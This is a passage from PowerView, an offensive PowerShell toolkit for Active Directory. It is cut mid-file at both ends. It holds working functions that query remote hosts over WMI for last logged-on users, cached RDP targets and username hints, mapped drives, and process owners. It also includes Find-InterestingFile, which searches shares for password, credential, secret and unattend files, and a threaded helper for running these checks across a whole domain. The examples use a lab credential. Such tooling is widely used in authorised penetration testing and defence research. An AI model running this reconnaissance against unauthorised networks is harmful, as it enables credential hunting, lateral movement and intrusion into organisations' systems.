  15732             }
  15733         }
  15734     }
  15735 }
  15736 
  15737 
  15738 function Get-WMIRegLastLoggedOn {
  15739 <#
  15740 .SYNOPSIS
  15741 
  15742 Returns the last user who logged onto the local (or a remote) machine.
  15743 
  15744 Note: This function requires administrative rights on the machine you're enumerating.
  15745 
  15746 Author: Will Schroeder (@harmj0y)  
  15747 License: BSD 3-Clause  
  15748 Required Dependencies: None  
  15749 
  15750 .DESCRIPTION
  15751 
  15752 This function uses remote registry to enumerate the LastLoggedOnUser registry key
  15753 for the local (or remote) machine.
  15754 
  15755 .PARAMETER ComputerName
  15756 
  15757 Specifies the hostname to query for remote registry values (also accepts IP addresses).
  15758 Defaults to 'localhost'.
  15759 
  15760 .PARAMETER Credential
  15761 
  15762 A [Management.Automation.PSCredential] object of alternate credentials
  15763 for connecting to the remote system.
  15764 
  15765 .EXAMPLE
  15766 
  15767 Get-WMIRegLastLoggedOn
  15768 
  15769 Returns the last user logged onto the local machine.
  15770 
  15771 .EXAMPLE
  15772 
  15773 Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
  15774 
  15775 Returns the last user logged onto WINDOWS1
  15776 
  15777 .EXAMPLE
  15778 
  15779 Get-DomainComputer | Get-WMIRegLastLoggedOn
  15780 
  15781 Returns the last user logged onto all machines in the domain.
  15782 
  15783 .EXAMPLE
  15784 
  15785 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  15786 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  15787 Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
  15788 
  15789 .OUTPUTS
  15790 
  15791 PowerView.LastLoggedOnUser
  15792 
  15793 A PSCustomObject containing the ComputerName and last loggedon user.
  15794 #>
  15795 
  15796     [OutputType('PowerView.LastLoggedOnUser')]
  15797     [CmdletBinding()]
  15798     Param(
  15799         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  15800         [Alias('HostName', 'dnshostname', 'name')]
  15801         [ValidateNotNullOrEmpty()]
  15802         [String[]]
  15803         $ComputerName = 'localhost',
  15804 
  15805         [Management.Automation.PSCredential]
  15806         [Management.Automation.CredentialAttribute()]
  15807         $Credential = [Management.Automation.PSCredential]::Empty
  15808     )
  15809 
  15810     PROCESS {
  15811         ForEach ($Computer in $ComputerName) {
  15812             # HKEY_LOCAL_MACHINE
  15813             $HKLM = 2147483650
  15814 
  15815             $WmiArguments = @{
  15816                 'List' = $True
  15817                 'Class' = 'StdRegProv'
  15818                 'Namespace' = 'root\default'
  15819                 'Computername' = $Computer
  15820                 'ErrorAction' = 'SilentlyContinue'
  15821             }
  15822             if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
  15823 
  15824             # try to open up the remote registry key to grab the last logged on user
  15825             try {
  15826                 $Reg = Get-WmiObject @WmiArguments
  15827 
  15828                 $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
  15829                 $Value = 'LastLoggedOnUser'
  15830                 $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
  15831 
  15832                 $LastLoggedOn = New-Object PSObject
  15833                 $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
  15834                 $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
  15835                 $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
  15836                 $LastLoggedOn
  15837             }
  15838             catch {
  15839                 Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled."
  15840             }
  15841         }
  15842     }
  15843 }
  15844 
  15845 
  15846 function Get-WMIRegCachedRDPConnection {
  15847 <#
  15848 .SYNOPSIS
  15849 
  15850 Returns information about RDP connections outgoing from the local (or remote) machine.
  15851 
  15852 Note: This function requires administrative rights on the machine you're enumerating.
  15853 
  15854 Author: Will Schroeder (@harmj0y)  
  15855 License: BSD 3-Clause  
  15856 Required Dependencies: ConvertFrom-SID  
  15857 
  15858 .DESCRIPTION
  15859 
  15860 Uses remote registry functionality to query all entries for the
  15861 "Windows Remote Desktop Connection Client" on a machine, separated by
  15862 user and target server.
  15863 
  15864 .PARAMETER ComputerName
  15865 
  15866 Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
  15867 Defaults to 'localhost'.
  15868 
  15869 .PARAMETER Credential
  15870 
  15871 A [Management.Automation.PSCredential] object of alternate credentials
  15872 for connecting to the remote system.
  15873 
  15874 .EXAMPLE
  15875 
  15876 Get-WMIRegCachedRDPConnection
  15877 
  15878 Returns the RDP connection client information for the local machine.
  15879 
  15880 .EXAMPLE
  15881 
  15882 Get-WMIRegCachedRDPConnection  -ComputerName WINDOWS2.testlab.local
  15883 
  15884 Returns the RDP connection client information for the WINDOWS2.testlab.local machine
  15885 
  15886 .EXAMPLE
  15887 
  15888 Get-DomainComputer | Get-WMIRegCachedRDPConnection
  15889 
  15890 Returns cached RDP information for all machines in the domain.
  15891 
  15892 .EXAMPLE
  15893 
  15894 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  15895 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  15896 Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
  15897 
  15898 .OUTPUTS
  15899 
  15900 PowerView.CachedRDPConnection
  15901 
  15902 A PSCustomObject containing the ComputerName and cached RDP information.
  15903 #>
  15904 
  15905     [OutputType('PowerView.CachedRDPConnection')]
  15906     [CmdletBinding()]
  15907     Param(
  15908         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  15909         [Alias('HostName', 'dnshostname', 'name')]
  15910         [ValidateNotNullOrEmpty()]
  15911         [String[]]
  15912         $ComputerName = 'localhost',
  15913 
  15914         [Management.Automation.PSCredential]
  15915         [Management.Automation.CredentialAttribute()]
  15916         $Credential = [Management.Automation.PSCredential]::Empty
  15917     )
  15918 
  15919     PROCESS {
  15920         ForEach ($Computer in $ComputerName) {
  15921             # HKEY_USERS
  15922             $HKU = 2147483651
  15923 
  15924             $WmiArguments = @{
  15925                 'List' = $True
  15926                 'Class' = 'StdRegProv'
  15927                 'Namespace' = 'root\default'
  15928                 'Computername' = $Computer
  15929                 'ErrorAction' = 'Stop'
  15930             }
  15931             if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
  15932 
  15933             try {
  15934                 $Reg = Get-WmiObject @WmiArguments
  15935 
  15936                 # extract out the SIDs of domain users in this hive
  15937                 $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
  15938 
  15939                 ForEach ($UserSID in $UserSIDs) {
  15940                     try {
  15941                         if ($PSBoundParameters['Credential']) {
  15942                             $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
  15943                         }
  15944                         else {
  15945                             $UserName = ConvertFrom-SID -ObjectSid $UserSID
  15946                         }
  15947 
  15948                         # pull out all the cached RDP connections
  15949                         $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
  15950 
  15951                         ForEach ($Connection in $ConnectionKeys) {
  15952                             # make sure this key is a cached connection
  15953                             if ($Connection -match 'MRU.*') {
  15954                                 $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
  15955 
  15956                                 $FoundConnection = New-Object PSObject
  15957                                 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
  15958                                 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
  15959                                 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
  15960                                 $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
  15961                                 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
  15962                                 $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
  15963                                 $FoundConnection
  15964                             }
  15965                         }
  15966 
  15967                         # pull out all the cached server info with username hints
  15968                         $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
  15969 
  15970                         ForEach ($Server in $ServerKeys) {
  15971 
  15972                             $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
  15973 
  15974                             $FoundConnection = New-Object PSObject
  15975                             $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
  15976                             $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
  15977                             $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
  15978                             $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
  15979                             $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
  15980                             $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
  15981                             $FoundConnection
  15982                         }
  15983                     }
  15984                     catch {
  15985                         Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_"
  15986                     }
  15987                 }
  15988             }
  15989             catch {
  15990                 Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
  15991             }
  15992         }
  15993     }
  15994 }
  15995 
  15996 
  15997 function Get-WMIRegMountedDrive {
  15998 <#
  15999 .SYNOPSIS
  16000 
  16001 Returns information about saved network mounted drives for the local (or remote) machine.
  16002 
  16003 Note: This function requires administrative rights on the machine you're enumerating.
  16004 
  16005 Author: Will Schroeder (@harmj0y)  
  16006 License: BSD 3-Clause  
  16007 Required Dependencies: ConvertFrom-SID  
  16008 
  16009 .DESCRIPTION
  16010 
  16011 Uses remote registry functionality to enumerate recently mounted network drives.
  16012 
  16013 .PARAMETER ComputerName
  16014 
  16015 Specifies the hostname to query for mounted drive information (also accepts IP addresses).
  16016 Defaults to 'localhost'.
  16017 
  16018 .PARAMETER Credential
  16019 
  16020 A [Management.Automation.PSCredential] object of alternate credentials
  16021 for connecting to the remote system.
  16022 
  16023 .EXAMPLE
  16024 
  16025 Get-WMIRegMountedDrive
  16026 
  16027 Returns the saved network mounted drives for the local machine.
  16028 
  16029 .EXAMPLE
  16030 
  16031 Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
  16032 
  16033 Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
  16034 
  16035 .EXAMPLE
  16036 
  16037 Get-DomainComputer | Get-WMIRegMountedDrive
  16038 
  16039 Returns the saved network mounted drives for all machines in the domain.
  16040 
  16041 .EXAMPLE
  16042 
  16043 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  16044 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  16045 Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
  16046 
  16047 .OUTPUTS
  16048 
  16049 PowerView.RegMountedDrive
  16050 
  16051 A PSCustomObject containing the ComputerName and mounted drive information.
  16052 #>
  16053 
  16054     [OutputType('PowerView.RegMountedDrive')]
  16055     [CmdletBinding()]
  16056     Param(
  16057         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  16058         [Alias('HostName', 'dnshostname', 'name')]
  16059         [ValidateNotNullOrEmpty()]
  16060         [String[]]
  16061         $ComputerName = 'localhost',
  16062 
  16063         [Management.Automation.PSCredential]
  16064         [Management.Automation.CredentialAttribute()]
  16065         $Credential = [Management.Automation.PSCredential]::Empty
  16066     )
  16067 
  16068     PROCESS {
  16069         ForEach ($Computer in $ComputerName) {
  16070             # HKEY_USERS
  16071             $HKU = 2147483651
  16072 
  16073             $WmiArguments = @{
  16074                 'List' = $True
  16075                 'Class' = 'StdRegProv'
  16076                 'Namespace' = 'root\default'
  16077                 'Computername' = $Computer
  16078                 'ErrorAction' = 'Stop'
  16079             }
  16080             if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
  16081 
  16082             try {
  16083                 $Reg = Get-WmiObject @WmiArguments
  16084 
  16085                 # extract out the SIDs of domain users in this hive
  16086                 $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
  16087 
  16088                 ForEach ($UserSID in $UserSIDs) {
  16089                     try {
  16090                         if ($PSBoundParameters['Credential']) {
  16091                             $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
  16092                         }
  16093                         else {
  16094                             $UserName = ConvertFrom-SID -ObjectSid $UserSID
  16095                         }
  16096 
  16097                         $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
  16098 
  16099                         ForEach ($DriveLetter in $DriveLetters) {
  16100                             $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
  16101                             $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
  16102                             $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
  16103                             if (-not $UserName) { $UserName = '' }
  16104 
  16105                             if ($RemotePath -and ($RemotePath -ne '')) {
  16106                                 $MountedDrive = New-Object PSObject
  16107                                 $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
  16108                                 $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
  16109                                 $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
  16110                                 $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
  16111                                 $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
  16112                                 $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
  16113                                 $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
  16114                                 $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive')
  16115                                 $MountedDrive
  16116                             }
  16117                         }
  16118                     }
  16119                     catch {
  16120                         Write-Verbose "[Get-WMIRegMountedDrive] Error: $_"
  16121                     }
  16122                 }
  16123             }
  16124             catch {
  16125                 Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
  16126             }
  16127         }
  16128     }
  16129 }
  16130 
  16131 
  16132 function Get-WMIProcess {
  16133 <#
  16134 .SYNOPSIS
  16135 
  16136 Returns a list of processes and their owners on the local or remote machine.
  16137 
  16138 Author: Will Schroeder (@harmj0y)  
  16139 License: BSD 3-Clause  
  16140 Required Dependencies: None  
  16141 
  16142 .DESCRIPTION
  16143 
  16144 Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
  16145 including the owners of the particular process.
  16146 
  16147 .PARAMETER ComputerName
  16148 
  16149 Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
  16150 Defaults to 'localhost'.
  16151 
  16152 .PARAMETER Credential
  16153 
  16154 A [Management.Automation.PSCredential] object of alternate credentials
  16155 for connection to the remote system.
  16156 
  16157 .EXAMPLE
  16158 
  16159 Get-WMIProcess -ComputerName WINDOWS1
  16160 
  16161 .EXAMPLE
  16162 
  16163 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  16164 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  16165 Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred
  16166 
  16167 .OUTPUTS
  16168 
  16169 PowerView.UserProcess
  16170 
  16171 A PSCustomObject containing the remote process information.
  16172 #>
  16173 
  16174     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  16175     [OutputType('PowerView.UserProcess')]
  16176     [CmdletBinding()]
  16177     Param(
  16178         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  16179         [Alias('HostName', 'dnshostname', 'name')]
  16180         [ValidateNotNullOrEmpty()]
  16181         [String[]]
  16182         $ComputerName = 'localhost',
  16183 
  16184         [Management.Automation.PSCredential]
  16185         [Management.Automation.CredentialAttribute()]
  16186         $Credential = [Management.Automation.PSCredential]::Empty
  16187     )
  16188 
  16189     PROCESS {
  16190         ForEach ($Computer in $ComputerName) {
  16191             try {
  16192                 $WmiArguments = @{
  16193                     'ComputerName' = $ComputerName
  16194                     'Class' = 'Win32_process'
  16195                 }
  16196                 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
  16197                 Get-WMIobject @WmiArguments | ForEach-Object {
  16198                     $Owner = $_.getowner();
  16199                     $Process = New-Object PSObject
  16200                     $Process | Add-Member Noteproperty 'ComputerName' $Computer
  16201                     $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
  16202                     $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
  16203                     $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
  16204                     $Process | Add-Member Noteproperty 'User' $Owner.User
  16205                     $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
  16206                     $Process
  16207                 }
  16208             }
  16209             catch {
  16210                 Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_"
  16211             }
  16212         }
  16213     }
  16214 }
  16215 
  16216 
  16217 function Find-InterestingFile {
  16218 <#
  16219 .SYNOPSIS
  16220 
  16221 Searches for files on the given path that match a series of specified criteria.
  16222 
  16223 Author: Will Schroeder (@harmj0y)  
  16224 License: BSD 3-Clause  
  16225 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection  
  16226 
  16227 .DESCRIPTION
  16228 
  16229 This function recursively searches a given UNC path for files with
  16230 specific keywords in the name (default of pass, sensitive, secret, admin,
  16231 login and unattend*.xml). By default, hidden files/folders are included
  16232 in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
  16233 is used to temporarily map the remote share.
  16234 
  16235 .PARAMETER Path
  16236 
  16237 UNC/local path to recursively search.
  16238 
  16239 .PARAMETER Include
  16240 
  16241 Only return files/folders that match the specified array of strings,
  16242 i.e. @(*.doc*, *.xls*, *.ppt*)
  16243 
  16244 .PARAMETER LastAccessTime
  16245 
  16246 Only return files with a LastAccessTime greater than this date value.
  16247 
  16248 .PARAMETER LastWriteTime
  16249 
  16250 Only return files with a LastWriteTime greater than this date value.
  16251 
  16252 .PARAMETER CreationTime
  16253 
  16254 Only return files with a CreationTime greater than this date value.
  16255 
  16256 .PARAMETER OfficeDocs
  16257 
  16258 Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
  16259 
  16260 .PARAMETER FreshEXEs
  16261 
  16262 Switch. Find .EXEs accessed within the last 7 days.
  16263 
  16264 .PARAMETER ExcludeFolders
  16265 
  16266 Switch. Exclude folders from the search results.
  16267 
  16268 .PARAMETER ExcludeHidden
  16269 
  16270 Switch. Exclude hidden files and folders from the search results.
  16271 
  16272 .PARAMETER CheckWriteAccess
  16273 
  16274 Switch. Only returns files the current user has write access to.
  16275 
  16276 .PARAMETER Credential
  16277 
  16278 A [Management.Automation.PSCredential] object of alternate credentials
  16279 to connect to remote systems for file enumeration.
  16280 
  16281 .EXAMPLE
  16282 
  16283 Find-InterestingFile -Path "C:\Backup\"
  16284 
  16285 Returns any files on the local path C:\Backup\ that have the default
  16286 search term set in the title.
  16287 
  16288 .EXAMPLE
  16289 
  16290 Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
  16291 
  16292 Returns any files on the remote path \\WINDOWS7\Users\ that have the default
  16293 search term set in the title and were accessed within the last week.
  16294 
  16295 .EXAMPLE
  16296 
  16297 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  16298 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  16299 Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\"
  16300 
  16301 .OUTPUTS
  16302 
  16303 PowerView.FoundFile
  16304 #>
  16305 
  16306     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  16307     [OutputType('PowerView.FoundFile')]
  16308     [CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
  16309     Param(
  16310         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  16311         [ValidateNotNullOrEmpty()]
  16312         [String[]]
  16313         $Path = '.\',
  16314 
  16315         [Parameter(ParameterSetName = 'FileSpecification')]
  16316         [ValidateNotNullOrEmpty()]
  16317         [Alias('SearchTerms', 'Terms')]
  16318         [String[]]
  16319         $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
  16320 
  16321         [Parameter(ParameterSetName = 'FileSpecification')]
  16322         [ValidateNotNullOrEmpty()]
  16323         [DateTime]
  16324         $LastAccessTime,
  16325 
  16326         [Parameter(ParameterSetName = 'FileSpecification')]
  16327         [ValidateNotNullOrEmpty()]
  16328         [DateTime]
  16329         $LastWriteTime,
  16330 
  16331         [Parameter(ParameterSetName = 'FileSpecification')]
  16332         [ValidateNotNullOrEmpty()]
  16333         [DateTime]
  16334         $CreationTime,
  16335 
  16336         [Parameter(ParameterSetName = 'OfficeDocs')]
  16337         [Switch]
  16338         $OfficeDocs,
  16339 
  16340         [Parameter(ParameterSetName = 'FreshEXEs')]
  16341         [Switch]
  16342         $FreshEXEs,
  16343 
  16344         [Parameter(ParameterSetName = 'FileSpecification')]
  16345         [Switch]
  16346         $ExcludeFolders,
  16347 
  16348         [Parameter(ParameterSetName = 'FileSpecification')]
  16349         [Switch]
  16350         $ExcludeHidden,
  16351 
  16352         [Switch]
  16353         $CheckWriteAccess,
  16354 
  16355         [Management.Automation.PSCredential]
  16356         [Management.Automation.CredentialAttribute()]
  16357         $Credential = [Management.Automation.PSCredential]::Empty
  16358     )
  16359 
  16360     BEGIN {
  16361         $SearcherArguments =  @{
  16362             'Recurse' = $True
  16363             'ErrorAction' = 'SilentlyContinue'
  16364             'Include' = $Include
  16365         }
  16366         if ($PSBoundParameters['OfficeDocs']) {
  16367             $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
  16368         }
  16369         elseif ($PSBoundParameters['FreshEXEs']) {
  16370             # find .exe's accessed within the last 7 days
  16371             $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
  16372             $SearcherArguments['Include'] = @('*.exe')
  16373         }
  16374         $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
  16375 
  16376         $MappedComputers = @{}
  16377 
  16378         function Test-Write {
  16379             # short helper to check is the current user can write to a file
  16380             [CmdletBinding()]Param([String]$Path)
  16381             try {
  16382                 $Filetest = [IO.File]::OpenWrite($Path)
  16383                 $Filetest.Close()
  16384                 $True
  16385             }
  16386             catch {
  16387                 $False
  16388             }
  16389         }
  16390     }
  16391 
  16392     PROCESS {
  16393         ForEach ($TargetPath in $Path) {
  16394             if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
  16395                 $HostComputer = (New-Object System.Uri($TargetPath)).Host
  16396                 if (-not $MappedComputers[$HostComputer]) {
  16397                     # map IPC$ to this computer if it's not already
  16398                     Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
  16399                     $MappedComputers[$HostComputer] = $True
  16400                 }
  16401             }
  16402 
  16403             $SearcherArguments['Path'] = $TargetPath
  16404             Get-ChildItem @SearcherArguments | ForEach-Object {
  16405                 # check if we're excluding folders
  16406                 $Continue = $True
  16407                 if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
  16408                     Write-Verbose "Excluding: $($_.FullName)"
  16409                     $Continue = $False
  16410                 }
  16411                 if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
  16412                     $Continue = $False
  16413                 }
  16414                 if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
  16415                     $Continue = $False
  16416                 }
  16417                 if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
  16418                     $Continue = $False
  16419                 }
  16420                 if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
  16421                     $Continue = $False
  16422                 }
  16423                 if ($Continue) {
  16424                     $FileParams = @{
  16425                         'Path' = $_.FullName
  16426                         'Owner' = $((Get-Acl $_.FullName).Owner)
  16427                         'LastAccessTime' = $_.LastAccessTime
  16428                         'LastWriteTime' = $_.LastWriteTime
  16429                         'CreationTime' = $_.CreationTime
  16430                         'Length' = $_.Length
  16431                     }
  16432                     $FoundFile = New-Object -TypeName PSObject -Property $FileParams
  16433                     $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
  16434                     $FoundFile
  16435                 }
  16436             }
  16437         }
  16438     }
  16439 
  16440     END {
  16441         # remove the IPC$ mappings
  16442         $MappedComputers.Keys | Remove-RemoteConnection
  16443     }
  16444 }
  16445 
  16446 
  16447 ########################################################
  16448 #
  16449 # 'Meta'-functions start below
  16450 #
  16451 ########################################################
  16452 
  16453 function New-ThreadedFunction {
  16454     # Helper used by any threaded host enumeration functions
  16455     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
  16456     [CmdletBinding()]
  16457     Param(
  16458         [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  16459         [String[]]
  16460         $ComputerName,
  16461 
  16462         [Parameter(Position = 1, Mandatory = $True)]
  16463         [System.Management.Automation.ScriptBlock]
  16464         $ScriptBlock,
  16465 
  16466         [Parameter(Position = 2)]
  16467         [Hashtable]
  16468         $ScriptParameters,
  16469 
  16470         [Int]
  16471         [ValidateRange(1,  100)]
  16472         $Threads = 20,
  16473 
  16474         [Switch]
  16475         $NoImports
  16476     )
  16477 
  16478     BEGIN {
  16479         # Adapted from:
  16480         #   http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
  16481         $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
  16482 
  16483         # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
  16484         # force a single-threaded apartment state (for token-impersonation stuffz)
  16485         $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
  16486 
  16487         # import the current session state's variables and functions so the chained PowerView
  16488         #   functionality can be used by the threaded blocks
  16489         if (-not $NoImports) {
  16490             # grab all the current variables for this runspace
  16491             $MyVars = Get-Variable -Scope 2
  16492 
  16493             # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
  16494             $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
  16495 
  16496             # add Variables from Parent Scope (current runspace) into the InitialSessionState
  16497             ForEach ($Var in $MyVars) {
  16498                 if ($VorbiddenVars -NotContains $Var.Name) {
  16499                 $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
  16500                 }
  16501             }
  16502 
  16503             # add Functions from current runspace to the InitialSessionState
  16504             ForEach ($Function in (Get-ChildItem Function:)) {
  16505                 $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
  16506             }
  16507         }
  16508 
  16509         # threading adapted from
  16510         # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
  16511         #   Thanks Carlos!
  16512 
  16513         # create a pool of maxThread runspaces
  16514         $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
  16515         $Pool.Open()
  16516 
  16517         # do some trickery to get the proper BeginInvoke() method that allows for an output queue
  16518         $Method = $Null
  16519         ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
  16520             $MethodParameters = $M.GetParameters()
  16521             if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
  16522                 $Method = $M.MakeGenericMethod([Object], [Object])
  16523                 break
  16524             }
  16525         }
  16526 
  16527         $Jobs = @()
  16528         $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
  16529         Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
  16530 
  16531         # partition all hosts from -ComputerName into $Threads number of groups
  16532         if ($Threads -ge $ComputerName.Length) {
  16533             $Threads = $ComputerName.Length
  16534         }
  16535         $ElementSplitSize = [Int]($ComputerName.Length/$Threads)
  16536         $ComputerNamePartitioned = @()
  16537         $Start = 0
  16538         $End = $ElementSplitSize
  16539 
  16540         for($i = 1; $i -le $Threads; $i++) {
  16541             $List = New-Object System.Collections.ArrayList
  16542             if ($i -eq $Threads) {
  16543                 $End = $ComputerName.Length
  16544             }
  16545             $List.AddRange($ComputerName[$Start..($End-1)])
  16546             $Start += $ElementSplitSize
  16547             $End += $ElementSplitSize
  16548             $ComputerNamePartitioned += @(,@($List.ToArray()))
  16549         }
  16550 
